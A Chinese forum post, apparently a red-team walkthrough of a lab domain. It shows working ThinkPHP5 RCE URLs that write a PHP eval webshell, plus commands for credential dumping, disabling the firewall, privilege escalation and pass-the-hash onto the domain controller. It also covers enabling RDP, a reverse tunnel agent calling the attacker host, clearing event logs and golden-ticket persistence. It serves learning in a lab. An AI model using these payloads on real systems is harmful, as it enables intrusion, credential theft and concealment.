环境搭建

win7:web机器

ip1:192.168.1.113(外)

ip2:192.168.138.136(内)

win2008:DC

ip:192.168.138.138

攻击机器kali(模拟vps):

ip:192.168.1.128

tp网站探测

直接访问web,发现为tp5版本。

看到tp应该就比较兴奋,因为洞是比较多的,直接上工具探测一波。发现有两个洞,一个是直接RCE,一个是数据库的信息泄露。

直接getshell

先看rce,能远程执行命令则意味着是可以getshell的,先上payload直接打出phpinfo。

查看phpinfo的信息,发现disable_function和open_basedir是没有限制的。

如果没有disable_function的限制那么可以直接用system函数去写一个马。先简单的看下能不能执行命令,发现是可以的。

http://192.168.1.113//?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

再看看有没有杀软,如果有的话还要写免杀马,如果直接上普通的马被杀的话很容易打草惊蛇。

http://192.168.1.113//?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tasklist /svc

通过离线的杀软对比发现是没有的,那么可以很舒服的写一句话木马。

192.168.1.113/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[shell]);?>" > th1nk.php

查看shell发现已经写入。

http://192.168.1.113//?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

使用蚁剑去连接,成功getshell。

扫描敏感目录

用御剑扫下目录。

访问http://192.168.1.113/add.php,发现是一个大马。

尝试弱密码,爆破,获取密码admins

有时候别人先已经日了,这种情况也是有的,所以拿到shell的密码尽量不要是一些弱密码。

边缘机器信息收集

网卡信息查询,为双网卡,并且是有域的。

ipconfig /all

查看是否有ipc连接,或者是被连接。

net use
net session

由于有域,想查询一些域内信息,但是基本上都是没权限。

考虑到该机器版本比较老,这里应该可以提权等操作,为了方便后渗透就想要上线cs。查看是否出网。

ping 192.168.1.128

出网的,通过反向连接(reverse)上线,这种方式是比较稳定的。

将生成的artifact.exe上传到目标机器。

通过webshell执行命令,成功上线。

这里为administrator权限,可以抓一波密码:

hashdump
logonpasswords

由于是win7,操作系统版本比较低,直接抓出了administrator和账户leo的明文密码。并且这个administrator是域内用户,大概率就是域管。

还是继续信息收集,执行命令还是出现6118错误,这个可能是防火墙造成的,使用命令直接关闭防火墙。

netsh advfirewall set allprofiles state off

关闭防火墙后可执行域内命令。

经过查看域内机器发现名为SUN的域就两台机器,一台win7,一台DC。

查看域内密码策略

期间执行一些命令发现有些返回error 5,那么就是没权限,这里中途提一波权限,老操作系统,权限很好搞。

并且还有一个点,一开始用的是32为的payload,但是目标系统的位数是64位的,所以这里尽量就用64的payload,不然会有一定影响。

这里提权使用的是ms16-135,成功拿到system权限。

信息差不多收集的七七八八以后,别忘了翻数据库,这里是靶场就无所谓,如果是实战一定要看数据库,里面也许会有很重要的密码等信息。

最后大致总结一下已经拿到的信息:

DCip为192.168.138.138,已知有域管账户,及获取了明文密码,域管很有可能登录过域控,pth是一个不错的选择。

如果pth失败,就需要使用一些操作系统漏洞MS14-058,MS14-068,MS17-010,``等已知的漏洞,如果域控有exchange服务,也可以用1day去打,不行就看看web,但是域控一般是没有web的。还不行就再找找密码,内网渗透本质是信息收集,有了密码才有未来。

横向域控

先扫描下DC的端口,服务等信息。直接用cs自带的扫描扫一波,探测端口。结果如下:

应该是没有web服务的,445端口的开启说明pth是有机会的,那么从pth开始。

psexec尝试

这款pth神器是不得不用的。内网主机大概率是不出网的,先添加一个smb beacon。

尝试使用域管账户administrator的账户和密码去撞:

这里直接就拿下了,域管账户去pth成功的概率是很高的。

但以学习的态度,这只是一种思路,现在假设并未成功能否通过其他方式尝试拿下域控呢。

MS17010尝试

Ladon 192.168.138.138 MS17010

这里是可以利用的,一般遇到这种情况就是用MSF的模块去打,session通过cs派生过去就行,由于是不同网段记得添加路由,2008还是比较容易成功的,如果不行的话就要用原生的py试试。这里网上的教程已经很多了,就不重复写了。

MS14068尝试

该漏洞允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。

查看补丁情况systeminfo

并没有打MS14068的补丁(KB3011780),有可能成功利用该漏洞。上传MS14068的exp。

获取域内普通账户sid

用已知普通域账户leo的明文密码去制造票据。

shell ms14-068.exe -u leo@sun.com -s S-1-5-21-3388020223-1982701712-4030140183-1110 -d 192.168.138.138 -p 123.com

但是这里却出错了,是py什么问题,这里我也没遇到过,不过没打补丁应该是可行的,小弟知识浅薄,有懂得表哥指教。

登录远程桌面

查询RDP端口

shell netstat -ano | findstr "3389"

发现RDP端口并未开放,修改防火墙通行规则

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

再通过注册表开启RDP

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d

这里用毒液做下内网穿透

攻击机器:

admin.exe -lport 9999

边缘机器:

shell agent.exe -rhost 192.168.1.104 -rport 9999

接收到节点后,使用节点一

goto 1
socks 7777

proxifier配置如下规则

RDP连接

痕迹清理

主要是清理psexec的日志,重点为事件ID4624和事件ID7045

将防火墙RDP放行规则关闭,关闭RDP,恢复注册表键值对。

权限维持

拿到域控,最好的权限维持办法就是黄金票据,这个方法也是相对隐蔽的。

获取普通域账户的sid,和krbtgt用户的hash

通过mimikatz制作一张黄金票据

这样在普通域机器上也可以访问域控机器。

最后欢迎关注团队公众号:红队蓝军

点击收藏 | 2 关注 | 1 打赏
登录 后跟帖